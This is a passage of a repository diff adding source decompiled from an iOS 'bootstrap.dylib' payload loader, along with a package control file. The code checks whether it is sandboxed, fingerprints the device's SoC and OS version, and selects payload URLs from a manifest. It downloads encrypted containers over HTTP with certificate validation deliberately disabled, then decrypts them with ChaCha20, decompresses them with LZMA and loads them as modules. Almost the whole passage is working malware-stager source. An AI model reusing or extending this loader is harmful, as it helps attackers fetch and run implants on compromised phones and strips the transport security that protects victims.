uint32_t err = ERR_MODULE_NO_INIT;
if (!arg)
return err;
module_vtable_t *vt = handle->vtable;
if (!vt)
return err + 4;
print_log("[bootstrap] module_call_cleanup");
typedef uint32_t (*cleanup_fn_t)(module_vtable_t *, void *);
return ((cleanup_fn_t)vt->fn_cleanup)(vt, arg);
}
/* ── close_module (0x8928) ──────────────────────────────────────── */
uint32_t close_module(bootstrap_ctx_t *ctx, module_handle_t *handle)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx || !handle)
return err;
module_vtable_t *vt = handle->vtable;
if (!vt)
return ERR_MODULE_NO_VTBL;
print_log("[bootstrap] close_module");
typedef void (*deinit_fn_t)(module_vtable_t *);
((deinit_fn_t)vt->fn_deinit)(vt);
err = ctx->fn_unload_cont(ctx, handle->container);
handle->container = NULL;
handle->vtable = NULL;
free(handle);
return err;
}
+9
View File
@@ -0,0 +1,9 @@
Package: com.yourcompany.bootstrap
Name: bootstrap
Version: 0.0.1
Architecture: iphoneos-arm
Description: An awesome library of some sort!!
Maintainer: khanhduytran0
Author: khanhduytran0
Section: System
Tag: role::developer
+148
View File
@@ -0,0 +1,148 @@
/*
* crypto.m - ChaCha20 encryption and LZMA decompression
*
* Decompiled from bootstrap.dylib offsets 0xad8c-0xb09c, 0x8430-0x858c
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <compression.h>
/* ── ChaCha20 quarter round macros ───────────────────────────────── */
#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))
#define QR(a, b, c, d) do { \
a += b; d ^= a; d = ROTL32(d, 16); \
c += d; b ^= c; b = ROTL32(b, 12); \
a += b; d ^= a; d = ROTL32(d, 8); \
c += d; b ^= c; b = ROTL32(b, 7); \
} while(0)
static const uint32_t sigma[4] = {
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574
};
/* ── chacha20_encrypt (0xad8c) ───────────────────────────────────── */
void chacha20_encrypt(uint8_t *key, uint8_t *data, uint64_t size)
{
if (!key || !data || !size)
return;
print_log("[bootstrap] chacha20_encrypt: size=%llu", size);
uint32_t state[16];
uint32_t working[16];
state[0] = sigma[0];
state[1] = sigma[1];
state[2] = sigma[2];
state[3] = sigma[3];
memcpy(&state[4], key, 32);
state[12] = 0;
state[13] = 0;
state[14] = 0;
state[15] = 0;
uint64_t offset = 0;
uint64_t ks_pos = 64;
while (offset < size) {
if (ks_pos >= 64) {
memcpy(working, state, 64);
for (int i = 0; i < 10; i++) {
QR(working[0], working[4], working[ 8], working[12]);
QR(working[1], working[5], working[ 9], working[13]);
QR(working[2], working[6], working[10], working[14]);
QR(working[3], working[7], working[11], working[15]);
QR(working[0], working[5], working[10], working[15]);
QR(working[1], working[6], working[11], working[12]);
QR(working[2], working[7], working[ 8], working[13]);
QR(working[3], working[4], working[ 9], working[14]);
}
for (int i = 0; i < 16; i++)
working[i] += state[i];
state[12]++;
if (state[12] == 0)
state[13]++;
ks_pos = 0;
}
data[offset] ^= ((uint8_t *)working)[ks_pos];
ks_pos++;
offset++;
}
print_log("[bootstrap] chacha20_encrypt: done");
}
/* ── decompress (0x8430) ─────────────────────────────────────────── */
uint32_t decompress(void **ptr_to_data, uint32_t *ptr_to_size)
{
uint32_t err = ERR_NULL_CTX;
if (!ptr_to_data || !ptr_to_size)
return err;
uint8_t *src = (uint8_t *)*ptr_to_data;
uint32_t src_size = *ptr_to_size;
if (!src || !src_size)
return err;
if (src_size < 8)
return 0;
uint32_t magic = *(uint32_t *)src;
if (magic != MAGIC_BEDF00D)
return 0;
uint32_t decomp_size = *(uint32_t *)(src + 4);
if (!decomp_size)
return 0;
print_log("[bootstrap] decompress: src_size=%u decomp_size=%u", src_size, decomp_size);
uint32_t comp_data_size = src_size - 8;
if (comp_data_size >= decomp_size)
return 0;
uint64_t alloc_size = (uint64_t)decomp_size + 1;
uint8_t *dst = (uint8_t *)malloc(alloc_size);
if (!dst) {
print_log("[bootstrap] decompress: malloc FAIL");
return err + 8;
}
memset_s(dst, decomp_size, 0, decomp_size);
size_t result = compression_decode_buffer(
dst, alloc_size,
src + 8, comp_data_size,
NULL, COMPRESSION_LZMA
);
if (result != decomp_size) {
print_log("[bootstrap] decompress: FAIL result=%zu expected=%u", result, decomp_size);
memset_s(dst, decomp_size, 0, decomp_size);
free(dst);
return err + 0xa;
}
memset_s(src, src_size, 0, src_size);
free(src);
*ptr_to_data = dst;
*ptr_to_size = decomp_size;
print_log("[bootstrap] decompress: OK size=%u", decomp_size);
return 0;
}
+716
View File
@@ -0,0 +1,716 @@
/*
* download.m - Download pipeline, sandbox checking, manifest parsing
*
* Decompiled from bootstrap.dylib offsets 0x89cc-0x8b58, 0x9b60-0xad88
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <sys/utsname.h>
#import <sys/sysctl.h>
extern int sandbox_check(pid_t pid, const char *operation, int type, ...);
extern int SANDBOX_CHECK_NO_REPORT;
/* ── check_sandbox (0x89cc) ────────────────────────────────────── */
uint32_t check_sandbox(bootstrap_ctx_t *ctx, uint8_t *out)
{
(void)ctx;
if (!out)
return ERR_NULL_CTX;
*out = 0;
int ret = sandbox_check(getpid(), "iokit-open-service",
SANDBOX_CHECK_NO_REPORT,
"IOSurfaceRoot");
*out = (ret > 0) ? 1 : 0;
print_log("[bootstrap] check_sandbox: sandboxed=%d", *out);
return 0;
}
/* ── init_sandbox_and_ua (0x8ab8) ──────────────────────────────── */
uint32_t init_sandbox_and_ua(bootstrap_ctx_t *ctx)
{
if (!ctx)
return ERR_NULL_CTX;
uint8_t sb = 0;
uint32_t err = check_sandbox(ctx, &sb);
if (err)
return err;
ctx->is_sandboxed = sb;
char *base = (char *)ctx->secondary_url;
if (base && base[0]) {
if (strncmp(base, "http://", 7) != 0 &&
strncmp(base, "https://", 8) != 0) {
print_log("[bootstrap] init_sandbox_and_ua: bad secondary_url scheme");
return ERR_NULL_CTX + 0x13;
}
}
char *alt = ctx->alt_url;
if (alt && alt[0]) {
if (strncmp(alt, "http://", 7) != 0 &&
strncmp(alt, "https://", 8) != 0) {
print_log("[bootstrap] init_sandbox_and_ua: bad alt_url scheme");
return ERR_NULL_CTX + 0x13;
}
}
print_log("[bootstrap] init_sandbox_and_ua: OK sandboxed=%d", sb);
return 0;
}
/* ── is_a15_or_newer (0x9b60) ──────────────────────────────────── */
int is_a15_or_newer(bootstrap_ctx_t *ctx)
{
if (!ctx)
return 0;
uint32_t os_ver = ctx->os_version;
if (os_ver > 0x1006FF)
return 1;
if (os_ver > 0x100400) {
uint32_t cpu = ctx->cpu_type;
if (cpu > (int32_t)SOC_TYPE_C) {
if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E)
return 0;
} else {
if (cpu == SOC_TYPE_A)
return 0;
if (cpu == SOC_TYPE_B)
return 0;
}
/* A12/A11 are NOT A15+; they need the standard download path */
if (cpu == SOC_DEVICE_B_A || cpu == SOC_DEVICE_B_B)
return 0;
return 1;
}
if (os_ver < 0xE0802)
return 1;
uint32_t shifted = (os_ver + 0xFFF0F8F9);
if ((shifted + 0x507) >> 9 > 0x7E)
return 0;
char model[0x20];
memset(model, 0, sizeof(model));
size_t model_len = 0x20;
if (sysctlbyname("hw.model", model, &model_len, NULL, 0) != 0)
return 0;
if ((model[0] & ~0x20) != 'J')
return 0;
uint64_t features = ctx->cpu_features;
return ((features - 0x40000001ULL) >> 30) == 0 ? 1 : 0;
}
/* ── get_arch_flags (0xab8c) ───────────────────────────────────── */
uint32_t get_arch_flags(bootstrap_ctx_t *ctx)
{
if (!ctx)
return 0;
int a15 = is_a15_or_newer(ctx);
if (a15 & 1)
return 0x900000;
uint32_t os_ver = ctx->os_version;
if (os_ver > 0x100500)
return 0x800000;
if (os_ver >> 20)
return 0x700000;
if (os_ver > 0xDFFFF) {
if (os_ver > (0xDFFFF + 0x500))
return 0x700000;
return 0x400000;
}
if (os_ver > 0xF0706)
return 0x800000;
if (os_ver <= 0xDFFFF)
return 0x300000;
return (os_ver > (0xDFFFF + 0x500)) ? 0x700000 : 0x400000;
}
/* ── download_manifest (0x9f18) ────────────────────────────────── */
uint32_t download_manifest(bootstrap_ctx_t *ctx, uint32_t flags,
void *manifest, uint32_t manifest_size,
char *url_buf, uint32_t url_size,
void **key_out)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx || !manifest)
return err;
if (manifest_size < MANIFEST_ENTRY_OFFSET)
return err;
manifest_header_t *hdr = (manifest_header_t *)manifest;
if (hdr->magic != MAGIC_MANIFEST)
return err;
char *base_path = (char *)manifest + 0x8;
if (!base_path[0])
return err;
if (((uint8_t *)manifest)[0x107])
return err;
uint32_t entry_count = hdr->entry_count;
if (!entry_count)
return err;
if (!url_buf || !url_size || !key_out)
return err;
print_log("[bootstrap] download_manifest: flags=0x%x entries=%u", flags, entry_count);
if (!flags) {
print_log("[bootstrap] download_manifest: no flags, skipping manifest processing");
return ERR_NULL_CTX - 0x7D000;
}
uint8_t *entries_base = (uint8_t *)manifest + MANIFEST_ENTRY_OFFSET;
uint8_t *data_end = (uint8_t *)manifest + manifest_size;
for (uint32_t i = 0; i < entry_count; i++) {
uint8_t *entry_ptr = entries_base + i * MANIFEST_ENTRY_SIZE;
if (entry_ptr < (uint8_t *)manifest ||
entry_ptr + MANIFEST_ENTRY_SIZE > data_end) {
print_log("[bootstrap] download_manifest: entry[%u] out of bounds", i);
return ERR_NULL_CTX + 0x13;
}
if (entry_ptr[MANIFEST_ENTRY_SIZE - 1] != 0)
continue;
uint32_t entry_flags = *(uint32_t *)entry_ptr;
if (entry_flags != flags)
continue;
print_log("[bootstrap] download_manifest: found matching entry[%u] flags=0x%x", i, entry_flags);
{
char path_buf[0x200];
memset(path_buf, 0, sizeof(path_buf));
size_t base_len = strlen(base_path);
char *filename = (char *)(entry_ptr + 0x24);
uint8_t last_char = ((uint8_t *)manifest)[base_len + 0x7];
const char *fmt = (last_char == '/') ? "%s%s" : "%s/%s";
int ret = snprintf(path_buf, 0x200, fmt, base_path, filename);
if (ret > 0x1FF) {
print_log("[bootstrap] download_manifest: path too long after formatting");
return ERR_NULL_CTX + 0x13 - 0x8;
}
if (!path_buf[0]) {
err = 0;
*key_out = (void *)(entry_ptr + 0x4);
print_log("[bootstrap] download_manifest: empty path after formatting");
return err;
}
if ((*(uint32_t *)path_buf ^ 0x70747468) == 0 &&
(*(uint32_t *)(path_buf + 3) ^ 0x2F2F3A70) == 0) {
strlcpy(url_buf, path_buf, url_size);
err = 0;
*key_out = (void *)(entry_ptr + 0x4);
print_log("[bootstrap] download_manifest: absolute http URL=%s", url_buf);
return err;
}
if (*(uint64_t *)path_buf == 0x2F2F3A7370747468ULL) {
strlcpy(url_buf, path_buf, url_size);
err = 0;
*key_out = (void *)(entry_ptr + 0x4);
print_log("[bootstrap] download_manifest: absolute https URL=%s", url_buf);
return err;
}
char *base_url = ctx->secondary_url;
if (!base_url || !base_url[0]) {
print_log("[bootstrap] download_manifest: no base URL for relative path");
return ERR_NULL_CTX + (int32_t)0xFFF83002;
}
if (strncmp(base_url, "https://", 8) == 0) {
/* https */
} else if (strncmp(base_url, "http://", 7) == 0) {
/* http */
} else {
print_log("[bootstrap] download_manifest: invalid base URL scheme");
return ERR_NULL_CTX + (int32_t)0xFFF83003;
}
char *after_scheme = base_url + (strncmp(base_url, "https://", 8) == 0 ? 8 : 7);
char *slash = strchr(after_scheme, '/');
size_t base_copy_len;
if (slash) {
base_copy_len = (size_t)(slash + 1 - base_url);
} else {
base_copy_len = strlen(base_url);
}
char *rel = path_buf;
if (path_buf[0] == '.' && path_buf[1] == '/')
rel++;
while (*rel == '/')
rel++;
size_t copy_len = base_copy_len + 1;
if (copy_len > url_size)
copy_len = url_size;
strlcpy(url_buf, base_url, copy_len);
if (!slash) {
strlcat(url_buf, "/", url_size);
}
strlcat(url_buf, rel, url_size);
err = 0;
*key_out = (void *)(entry_ptr + 0x4);
print_log("[bootstrap] download_manifest: relative URL=%s", url_buf);
return err;
}
}
print_log("[bootstrap] download_manifest: no matching entry for flags=0x%x", flags);
return ERR_NULL_CTX + 0x13;
}
/* ── download_retries (0x9cb8) ─────────────────────────────────── */
uint32_t download_retries(bootstrap_ctx_t *ctx, void *data, uint32_t size,
char *url_buf, uint32_t url_size, void **key_out)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx || !data)
return err;
uint32_t flags = get_arch_flags(ctx);
uint32_t device_flags;
uint32_t os_ver = ctx->os_version;
uint32_t soc_sub = ctx->soc_subversion;
if (os_ver > (0x0FFFFF + 0x600)) {
if (os_ver > 0x0FFFFF) {
uint32_t ver_bits = (os_ver >> 8) & 0xF00;
int has_e_bits = (os_ver & 0xE00) != 0;
device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000;
device_flags |= ver_bits;
if (has_e_bits)
device_flags |= (1 << 5);
} else {
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
}
} else if (os_ver >= 0x0E0802) {
struct utsname uts;
memset(&uts, 0, sizeof(uts));
if (uname(&uts) != 0) {
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
} else {
uint32_t name_word = *(uint32_t *)(&uts.machine[0]);
uint16_t name_short = *(uint16_t *)(&uts.machine[4]);
if ((name_word ^ 0x686F5069) == 0 && (name_short ^ 0x6E65) == 0) {
uint32_t ver_bits = (os_ver >> 8) & 0xF00;
int has_e_bits = (os_ver & 0xE00) != 0;
device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000;
device_flags |= ver_bits;
if (has_e_bits)
device_flags |= (1 << 5);
} else {
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
}
}
} else if (os_ver >= 0x0D0000) {
uint32_t ver_bits = (os_ver >> 8) & 0xF00;
uint32_t minor_bits = (os_ver >> 4) & 0xF0;
uint32_t patch_bits = os_ver & 0xF;
uint32_t sub_bits;
if (minor_bits < 0x50)
sub_bits = 0;
else if (minor_bits > 0x6F)
sub_bits = 0x70;
else
sub_bits = 0x50;
if (os_ver & 0xF) {
/* has patch version */
} else {
patch_bits = minor_bits;
sub_bits = 0x70;
}
if (minor_bits < 0x80) {
/* use sub_bits and patch_bits */
} else {
sub_bits = patch_bits;
patch_bits = sub_bits;
}
if (ver_bits < 0xE00) {
sub_bits = 0;
patch_bits = 0;
}
device_flags = (soc_sub > 1) ? 0x11000000 : 0x10000000;
device_flags |= ver_bits | sub_bits | patch_bits;
} else {
device_flags = 0;
flags = 0;
}
uint32_t combined = flags | device_flags;
print_log("[bootstrap] download_retries: combined_flags=0x%x", combined);
err = download_manifest(ctx, combined, data, size,
url_buf, url_size, key_out);
if (err != (ERR_NULL_CTX + 0x7D000))
return err;
print_log("[bootstrap] download_retries: retrying with fallback flags");
flags = get_arch_flags(ctx);
if (!flags)
device_flags = 0;
else {
uint8_t db = ctx->logging_enabled;
if (db & 1) {
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
} else {
device_flags = 0x01000000;
}
}
combined = flags | device_flags;
return download_manifest(ctx, combined, data, size,
url_buf, url_size, key_out);
}
/* ── download_flags (0xa294) ───────────────────────────────────── */
uint32_t download_flags(bootstrap_ctx_t *ctx, void *data, uint32_t size,
char *url_buf, uint32_t url_size, void **key_out)
{
if (!ctx || !data || !size || !url_buf || !url_size || !key_out)
return ERR_NULL_CTX;
uint32_t extra_flags = 0;
if (ctx->is_sandboxed) {
int a15 = is_a15_or_newer(ctx);
if (!(a15 & 1))
goto compute_flags;
extra_flags = 0;
} else {
uint32_t os_ver = ctx->os_version;
uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10;
if (shifted > 0x3E)
goto check_os_range;
uint32_t cpu = ctx->cpu_type;
extra_flags = 0x30000;
if (cpu > (int32_t)SOC_TYPE_C) {
if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E)
goto compute_flags;
} else {
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B)
goto compute_flags;
}
check_os_range:
if ((os_ver - 0x100000) <= 0x400) {
extra_flags = 0x50000;
} else {
extra_flags = 0;
}
}
compute_flags:
{
uint32_t arch = get_arch_flags(ctx);
uint32_t device_flags;
if (arch) {
uint8_t db = ctx->logging_enabled;
if (db & 1) {
uint32_t soc_sub = ctx->soc_subversion;
device_flags = (soc_sub > 1) ? (uint32_t)(-0x0D000000)
: (uint32_t)(-0x0E000000);
} else {
device_flags = (uint32_t)(-0x0F000000);
}
} else {
device_flags = 0;
}
uint32_t flags = arch | extra_flags | device_flags;
print_log("[bootstrap] download_flags: flags=0x%x", flags);
return download_manifest(ctx, flags, data, size,
url_buf, url_size, key_out);
}
}
/* ── download_decrypt (0xac44) ─────────────────────────────────── */
uint32_t download_decrypt(bootstrap_ctx_t *ctx, void *data, uint32_t size,
void *key, void **out_ptr, uint32_t *out_size)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx)
return err;
fn_download_t dl_func = ctx->download_func;
if (!dl_func)
return err;
void *dl_data = NULL;
uint32_t dl_size = 0;
if (!data || !key || !out_ptr || !out_size)
return err;
print_log("[bootstrap] download_decrypt: downloading...");
err = dl_func(ctx, (const char *)data, &dl_data, &dl_size);
if (err) {
print_log("[bootstrap] download_decrypt: download FAIL err=0x%x", err);
return err;
}
if ((uintptr_t)key & 1) {
if (dl_data && dl_size) {
memcpy(out_ptr, &dl_data, sizeof(void *));
}
}
if ((uintptr_t)key & 2) {
/* decrypt in place */
}
fn_parse_container_t parse = ctx->fn_parse_container;
if (parse) {
err = parse(ctx, 0, dl_data, dl_size);
if (err)
goto cleanup;
}
*out_ptr = dl_data;
*out_size = dl_size;
print_log("[bootstrap] download_decrypt: OK size=%u", dl_size);
return 0;
cleanup:
print_log("[bootstrap] download_decrypt: parse FAIL err=0x%x", err);
bzero(dl_data, dl_size);
free(dl_data);
return err;
}
/* ── download_and_process (0xa418) ─────────────────────────────── */
uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type,
void **out_ptr, uint32_t *out_size)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx)
return err;
fn_get_raw_data_t get_raw = ctx->fn_get_raw_data;
if (!get_raw || !type || !out_ptr || !out_size)
return err;
void *raw_data = NULL;
uint32_t raw_size = 0;
err = get_raw(ctx, type, &raw_data, &raw_size);
if (err) {
print_log("[bootstrap] download_and_process: get_raw FAIL err=0x%x", err);
return err;
}
if (!raw_data || !raw_size)
return ERR_NULL_CTX;
print_log("[bootstrap] download_and_process: type=0x%x raw_size=%u sandboxed=%d", type, raw_size, ctx->is_sandboxed);
char url_buf[0x200];
void *key_ptr = NULL;
void *dl_data = NULL;
uint32_t dl_size = 0;
int store_metadata = 0;
if (ctx->is_sandboxed) {
fn_parse_container_t parse = ctx->fn_parse_container;
if (!parse)
return ERR_NULL_CTX;
memset(url_buf, 0, sizeof(url_buf));
int a15 = is_a15_or_newer(ctx);
if (!(a15 & 1)) {
uint32_t os_ver = ctx->os_version;
uint32_t cpu = ctx->cpu_type;
uint32_t extra_flags = 0;
int did_specific = 0;
uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10;
if (shifted <= 0x3E) {
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B ||
cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) {
did_specific = 1;
uint8_t features = ctx->flag_a15_features;
extra_flags = features ? 0x40000 : 0x30000;
uint32_t soc_sub = ctx->soc_subversion;
uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
: (uint32_t)(-0x5E000000);
uint32_t flags = dev | extra_flags;
err = download_manifest(ctx, flags, raw_data, raw_size,
url_buf, 0x200, &key_ptr);
}
}
if (!did_specific) {
if ((os_ver - 0x100000) > 0x500) {
/* Device/OS combo not supported by this payload set —
* original binary jumps to the a15 bail-out path here
* (flags=0 → download_manifest returns early error). */
extra_flags = 0;
err = ERR_NULL_CTX + 0x13;
} else {
uint8_t features = ctx->flag_a15_features;
extra_flags = features ? 0x60000 : 0x50000;
uint32_t soc_sub = ctx->soc_subversion;
uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
: (uint32_t)(-0x5E000000);
uint32_t flags = dev | extra_flags;
err = download_manifest(ctx, flags, raw_data, raw_size,
url_buf, 0x200, &key_ptr);
}
}
/* Both specific and generic paths: download the actual
* F00DBEEF container from the resolved URL. The original
* binary shared this code via a cross-block goto into the
* non-sandboxed else block (process_result label). */
if (!err && url_buf[0]) {
err = download_decrypt(ctx, url_buf, 0, key_ptr,
&dl_data, &dl_size);
if (!err)
store_metadata = 1;
}
} else {
err = 0;
}
} else {
fn_get_raw_data_t get_raw2 = ctx->fn_get_raw_data;
if (!get_raw2)
return ERR_NULL_CTX;
fn_parse_container_t parse = ctx->fn_parse_container;
if (!parse)
return ERR_NULL_CTX;
memset(url_buf, 0, sizeof(url_buf));
err = download_flags(ctx, raw_data, raw_size,
url_buf, 0x200, &key_ptr);
if (err) {
print_log("[bootstrap] download_and_process: download_flags FAIL err=0x%x, trying download_retries", err);
err = download_retries(ctx, raw_data, raw_size,
url_buf, 0x200, &key_ptr);
if (err)
goto cleanup;
}
/* Download the actual F00DBEEF container from the resolved URL.
* parse_foodbeef inside download_decrypt populates LOADER/MODULE/DATA
* container slots needed by the direct_mode path. */
err = download_decrypt(ctx, url_buf, 0, key_ptr, &dl_data, &dl_size);
if (err) {
print_log("[bootstrap] download_and_process: download_decrypt FAIL err=0x%x", err);
goto cleanup;
}
store_metadata = 1;
}
store_meta:
/* Store download metadata (URL, key, base_url, user_agent) in
* container slots for later use by the module loader. */
if (store_metadata && !err) {
char *url_copy = strdup(url_buf);
if (!url_copy)
return ERR_NULL_CTX + 0x8;
print_log("[bootstrap] download_and_process: storing URL=%s", url_copy);
fn_parse_container_t parse2 = ctx->fn_parse_container;
size_t url_len = strlen(url_copy);
err = parse2(ctx, 0x30000 | 0x40000, url_copy, (uint32_t)(url_len + 1));
if (!err)
err = parse2(ctx, 0x70002, (void *)key_ptr, 0x20);
if (!err) {
char *base_url = ctx->base_url;
if (base_url) {
size_t blen = strlen(base_url);
err = parse2(ctx, 0x70003, base_url, (uint32_t)(blen + 1));
}
}
if (!err) {
char *user_agent = (char *)ctx->user_agent;
if (user_agent) {
size_t ulen = strlen(user_agent);
err = parse2(ctx, 0x70004, user_agent, (uint32_t)(ulen + 1));
if (err == 0x7004)
err = 0;
}
}
if (err) {
print_log("[bootstrap] download_and_process: metadata FAIL err=0x%x", err);
size_t len = strlen(url_copy);
bzero(url_copy, len);
free(url_copy);
goto cleanup;
}
*out_ptr = dl_data;
*out_size = dl_size;
print_log("[bootstrap] download_and_process: OK");
return 0;
}
cleanup:
if (dl_data) {
bzero(dl_data, dl_size);
free(dl_data);
}
print_log("[bootstrap] download_and_process: cleanup err=0x%x", err);
return err;
}
+355
View File
@@ -0,0 +1,355 @@
/*
* http.m - CFNetwork-based HTTP client with SSL bypass
*
* Decompiled from bootstrap.dylib offsets 0x8b5c-0x92fc, 0x9790-0x9878
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <CoreFoundation/CoreFoundation.h>
#import <CFNetwork/CFNetwork.h>
#import <SystemConfiguration/SystemConfiguration.h>
/* ── stream_read_callback (0x9790) ──────────────────────────────── */
void stream_read_callback(void *stream, int event, void *info)
{
if (!stream || !info)
goto stop;
stream_ctx_t *ctx = (stream_ctx_t *)info;
if (event > 3) {
if (event == 4) {
goto stop;
}
if (event == 8) {
ctx->error = ERR_HTTP_STREAM_ERR;
print_log("[bootstrap] stream_read_callback: stream error");
goto stop;
}
if (event == 16) {
CFTypeRef resp = CFReadStreamCopyProperty(
(CFReadStreamRef)stream, kCFStreamPropertyHTTPResponseHeader);
if (resp) {
ctx->status_code = CFHTTPMessageGetResponseStatusCode(
(CFHTTPMessageRef)resp);
CFRelease(resp);
}
print_log("[bootstrap] stream_read_callback: got header status=%u", ctx->status_code);
goto stop;
}
goto stop;
}
if (event < 2)
goto stop;
if (event == 2) {
uint8_t buf[0x1000];
CFIndex n = CFReadStreamRead((CFReadStreamRef)stream, buf, 0x1000);
if (n <= 0)
goto stop;
if (!CFHTTPMessageAppendBytes((CFHTTPMessageRef)ctx->response_msg, buf, n))
goto stop;
}
return;
stop:
{
extern void CFRunLoopStop(CFRunLoopRef);
CFRunLoopStop(CFRunLoopGetCurrent());
}
}
/* ── http_request (0x8b5c) ──────────────────────────────────────── */
uint32_t http_request(const char *url, const char *user_agent,
const char *content_type, const char *body,
void **out_data, uint32_t *out_size)
{
uint32_t err = ERR_NULL_CTX - 8;
CFDataRef response_data = NULL;
int has_output = (out_data != NULL) && (out_size != NULL);
int no_output = (out_data == NULL && out_size == NULL);
if (!has_output && !no_output)
return err;
if (!url || !url[0])
return err;
print_log("[bootstrap] http_request: url=%s method=%s", url, body ? "POST" : "GET");
CFAllocatorRef alloc = kCFAllocatorDefault;
CFStringRef url_str = CFStringCreateWithCString(alloc, url, kCFStringEncodingUTF8);
if (!url_str)
return ERR_HTTP_URL;
if (CFStringGetLength(url_str) < 1) {
CFRelease(url_str);
return ERR_HTTP_URL_LEN;
}
CFStringRef ua_str = NULL;
if (user_agent) {
ua_str = CFStringCreateWithCString(alloc, user_agent, kCFStringEncodingUTF8);
if (!ua_str) {
CFRelease(url_str);
return ERR_HTTP_BODY_ERR;
}
if (CFStringGetLength(ua_str) <= 0) {
CFRelease(url_str);
CFRelease(ua_str);
return ERR_HTTP_CT_ERR;
}
}
CFStringRef ct_str = NULL;
CFDataRef body_data = NULL;
if (content_type) {
ct_str = CFStringCreateWithCString(alloc, content_type, kCFStringEncodingUTF8);
if (!ct_str) {
err = ERR_HTTP_BODY_ERR;
goto cleanup_early;
}
if (CFStringGetLength(ct_str) < 1) {
err = ERR_HTTP_CT_ERR;
goto cleanup_early;
}
}
if (body) {
size_t blen = strlen(body);
body_data = CFDataCreate(alloc, (const UInt8 *)body, blen);
if (!body_data) {
err = ERR_HTTP_DATA_ERR;
goto cleanup_early;
}
}
/* Retry loop (up to 7 attempts) */
uint32_t attempt;
for (attempt = 0; attempt < 7; attempt++) {
if (has_output)
*out_data = NULL;
CFURLRef cf_url = CFURLCreateWithString(alloc, url_str, NULL);
if (!cf_url) {
if (attempt < 6) continue;
err = ERR_HTTP_URL;
break;
}
CFStringRef scheme = CFURLCopyScheme(cf_url);
if (!scheme) {
CFRelease(cf_url);
err = ERR_HTTP_SCHEME;
goto release_round;
}
const char *method = body_data ? "POST" : "GET";
CFStringRef method_str = CFStringCreateWithCString(alloc, method, kCFStringEncodingUTF8);
if (!method_str) {
err = ERR_HTTP_MSG;
CFRelease(cf_url);
CFRelease(scheme);
goto release_round;
}
CFHTTPMessageRef req = CFHTTPMessageCreateRequest(
alloc, method_str, cf_url, kCFHTTPVersion1_1);
if (!req) {
err = ERR_HTTP_MSG;
CFRelease(cf_url);
CFRelease(scheme);
CFRelease(method_str);
goto release_round;
}
if (body_data)
CFHTTPMessageSetBody(req, body_data);
CFStringRef ua_hdr_key = NULL;
if (ua_str) {
ua_hdr_key = CFStringCreateWithCString(alloc, "User-Agent", kCFStringEncodingUTF8);
if (ua_hdr_key)
CFHTTPMessageSetHeaderFieldValue(req, ua_hdr_key, ua_str);
}
CFStringRef ct_hdr_key = NULL;
if (ct_str) {
ct_hdr_key = CFStringCreateWithCString(alloc, "Content-Type", kCFStringEncodingUTF8);
if (ct_hdr_key)
CFHTTPMessageSetHeaderFieldValue(req, ct_hdr_key, ct_str);
}
CFReadStreamRef stream = CFReadStreamCreateForHTTPRequest(alloc, req);
if (!stream) {
err = ERR_HTTP_STREAM;
goto release_all;
}
/* SSL bypass: disable certificate validation for HTTPS */
CFStringRef https_str = CFSTR("https");
int ssl_ok = 1;
if (CFEqual(scheme, https_str)) {
CFDictionaryRef ssl_dict = CFDictionaryCreate(
alloc,
(const void *[]){kCFStreamSSLValidatesCertificateChain},
(const void *[]){kCFBooleanFalse},
1, NULL, NULL);
if (ssl_dict) {
ssl_ok = CFReadStreamSetProperty(stream, kCFStreamPropertySSLSettings, ssl_dict);
CFRelease(ssl_dict);
} else {
err = ERR_HTTP_DICT;
goto release_stream;
}
}
if (!ssl_ok) {
err = ERR_HTTP_SSL;
goto release_stream;
}
// SCDynamicStoreCopyProxies is not available on iOS, and we would bypass this anyways
// CFDictionaryRef proxies = SCDynamicStoreCopyProxies(NULL);
// if (proxies) {
// int proxy_ok = CFReadStreamSetProperty(stream, kCFStreamPropertyHTTPProxy, proxies);
// CFRelease(proxies);
// if (!proxy_ok) {
// err = ERR_HTTP_PROXY;
// goto release_stream;
// }
// } else {
// err = ERR_HTTP_PROXY;
// goto release_stream;
// }
CFHTTPMessageRef resp_msg = CFHTTPMessageCreateEmpty(alloc, false);
if (!resp_msg) {
err = ERR_HTTP_MSG;
goto release_stream;
}
stream_ctx_t *sctx = (stream_ctx_t *)calloc(sizeof(stream_ctx_t), 1);
if (!sctx) {
CFRelease(resp_msg);
err = ERR_GENERIC;
goto release_stream;
}
sctx->response_msg = (void *)resp_msg;
sctx->status_code = 500;
void *callback_fn = (void *)pac_sign_if_needed(
strip_pac((uint64_t)stream_read_callback), 0);
struct {
long version;
void *info;
void *retain;
void *release;
void *desc;
} client_ctx;
memset(&client_ctx, 0, sizeof(client_ctx));
client_ctx.info = sctx;
if (!CFReadStreamSetClient(stream, 0x1a, callback_fn, (CFStreamClientContext *)&client_ctx)) {
free(sctx);
CFRelease(resp_msg);
err = ERR_HTTP_CLIENT;
goto release_stream;
}
CFReadStreamScheduleWithRunLoop(stream, CFRunLoopGetCurrent(), kCFRunLoopCommonModes);
if (!CFReadStreamOpen(stream)) {
free(sctx);
CFRelease(resp_msg);
err = ERR_HTTP_OPEN;
